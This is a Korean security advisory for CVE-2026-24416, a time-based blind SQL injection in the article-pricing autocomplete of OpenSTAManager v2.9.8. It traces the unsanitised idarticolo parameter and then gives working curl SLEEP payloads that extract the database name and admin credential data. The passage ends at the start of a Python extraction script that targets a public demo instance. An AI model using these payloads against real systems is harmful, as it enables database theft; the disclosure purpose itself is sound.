
CVE-2026-24416 - OpenSTAManager의 품목 가격 책정 모듈에 시간 기반 블라인드 SQL 인젝션 취약점이 존재합니다.
| 필드 | 세부 정보 |
|---|---|
| CVE ID | CVE-2026-24416 |
| 심각도 | 높음 |
| 보안 권고 | 보안 권고 보기 |
| 발견자 | Lukasz Rybak |
OpenSTAManager v2.9.8의 아티클 가격 책정 모듈에 있는 심각한 시간 기반 블라인드 SQL 인젝션 취약점으로 인해 인증된 공격자가 시간 기반 부울 추론 공격을 통해 사용자 자격 증명, 고객 데이터, 재무 기록을 포함한 전체 데이터베이스 내용을 추출할 수 있습니다.
상태: ✅ 라이브 인스턴스(v2.9.8) 및 demo.osmbusiness.it(v2.9.7)에서 확인 및 테스트 완료
취약한 파라미터: idarticolo (GET)
영향을 받는 엔드포인트: /ajax_complete.php?op=getprezzi
영향을 받는 모듈: Articoli (아티클/제품)
OpenSTAManager v2.9.8에는 아티클 가격 자동 완성 핸들러에 심각한 시간 기반 블라인드 SQL 인젝션 취약점이 존재합니다. 이 애플리케이션은 SQL 쿼리에서 idarticolo 파라미터를 사용하기 전에 제대로 삭제하지 못하여, 공격자가 임의의 SQL 명령을 주입하고 시간 기반 부울 추론을 통해 민감한 데이터를 추출할 수 있습니다.
취약점 체인:
진입점: /ajax_complete.php (27행)
$op = get('op');
$result = AJAX::complete($op);
op 파라미터가 검색되지만 취약점은 다른 파라미터에 있습니다.
전파: /src/AJAX.php::complete() (189행)
$result = self::getCompleteResults($file, $resource);
실행: /src/AJAX.php::getCompleteResults() (402행)
require $file;
모듈별 complete.php 파일이 포함됩니다.
취약한 파라미터: /modules/articoli/ajax/complete.php (26행)
$idarticolo = get('idarticolo');
idarticolo 파라미터는 GET 요청에서 검색됩니다.
취약한 SQL 쿼리: /modules/articoli/ajax/complete.php (70행) 주요 취약점
FROM
`dt_righe_ddt`
INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt`
INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt`
WHERE
`idarticolo`='.$idarticolo.' AND
`dt_tipiddt`.`dir`="entrata" AND
`idanagrafica`='.prepare($idanagrafica).'
영향: $idanagrafica는 제대로 삭제되는 반면, $idarticolo는 prepare() 없이 직접 연결됩니다.
컨텍스트 - 전체 쿼리 구조 (39-74행):
취약한 쿼리는 인보이스와 납품서에서 가격 이력을 가져오는 UNION 쿼리의 일부입니다:
$documenti = $dbo->fetchArray('
SELECT
`iddocumento` AS id,
"Fattura" AS tipo,
"Fatture di vendita" AS modulo,
(`subtotale`-`sconto`)/`qta` AS costo_unitario,
...
FROM
`co_righe_documenti`
INNER JOIN `co_documenti` ON `co_documenti`.`id` = `co_righe_documenti`.`iddocumento`
INNER JOIN `co_tipidocumento` ON `co_tipidocumento`.`id` = `co_documenti`.`idtipodocumento`
WHERE
`idarticolo`='.prepare($idarticolo).' AND ... # ✓ PROPERLY SANITIZED (Line 54)
UNION
SELECT
`idddt` AS id,
"Ddt" AS tipo,
...
FROM
`dt_righe_ddt`
INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt`
INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt`
WHERE
`idarticolo`='.$idarticolo.' AND # ✗ VULNERABLE - NO prepare() (Line 70)
`dt_tipiddt`.`dir`="entrata" AND
`idanagrafica`='.prepare($idanagrafica).'
ORDER BY
`id` DESC LIMIT 0,5');
근본 원인: 개발자는 첫 번째 SELECT(54행)에서 prepare()를 올바르게 사용했지만 UNION 쿼리의 두 번째 SELECT(70행)에서는 prepare()를 사용하지 않아 일관되지 않은 보안 패턴이 발생했습니다.
1단계: 로그인
curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
2단계: 취약점 확인 (시간 기반 SLEEP)
# Test with SLEEP(10)
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(10)))a)" \
> /dev/null
# Result: real 0m10.32s (10.32 seconds)
# Test with SLEEP(3) - should take ~3 seconds
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(3)))a)" \
> /dev/null
# Result: real 0m3.36s (3.36 seconds)
# Test without SLEEP
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1" \
> /dev/null
# Result: real 0m0.31s (0.31 seconds)
3단계: 데이터 추출 - 데이터베이스 이름
# Extract first character of database name
# Test if first char is 'o' (expected: TRUE for 'openstamanager')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m2.34s (SLEEP executed - condition TRUE)
# Test if first char is 'x' (expected: FALSE)
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m0.31s (SLEEP not executed - condition FALSE)
# Extract second character (expected: 'p')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),2,1)=%27p%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m2.34s (SLEEP executed - confirms second char is 'p')
# Extract first 3 characters (expected: 'ope')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,3)=%27ope%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms 'ope...')
4단계: 민감 데이터 추출 - 관리자 자격 증명
# Extract admin username (test if first 5 chars are 'admin')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%20SUBSTRING(username,1,5)%20FROM%20zz_users%20WHERE%20id=1)=%27admin%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms admin username)
# Extract first character of password hash (expected: '$' for bcrypt)
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%20SUBSTRING(password,1,1)%20FROM%20zz_users%20WHERE%20id=1)=%27%24%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms bcrypt hash format)
페이로드 설명:
Original payload: 1 AND SUBSTRING(DATABASE(),1,1)='o' AND (SELECT 1 FROM (SELECT(SLEEP(2)))a)
URL-encoded: 1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)
Injection breakdown:
1. 1 - Valid article ID
2. AND SUBSTRING(DATABASE(),1,1)='o' - Boolean condition to test
3. AND (SELECT 1 FROM (SELECT(SLEEP(2)))a) - Execute SLEEP(2) if condition is true
SQL Query Result:
WHERE
`idarticolo`=1
AND SUBSTRING(DATABASE(),1,1)='o'
AND (SELECT 1 FROM (SELECT(SLEEP(2)))a)
AND `dt_tipiddt`.`dir`="entrata"
AND `idanagrafica`=1
자동 추출 스크립트 예제:
import requests
import time
import string
import sys
# Default Configuration
BASE_URL = "https://demo.osmbusiness.it"
USERNAME = "demo"
PASSWORD = "demodemo1"
SLEEP_TIME = 3 # Increased to 3s for stability on remote demo instance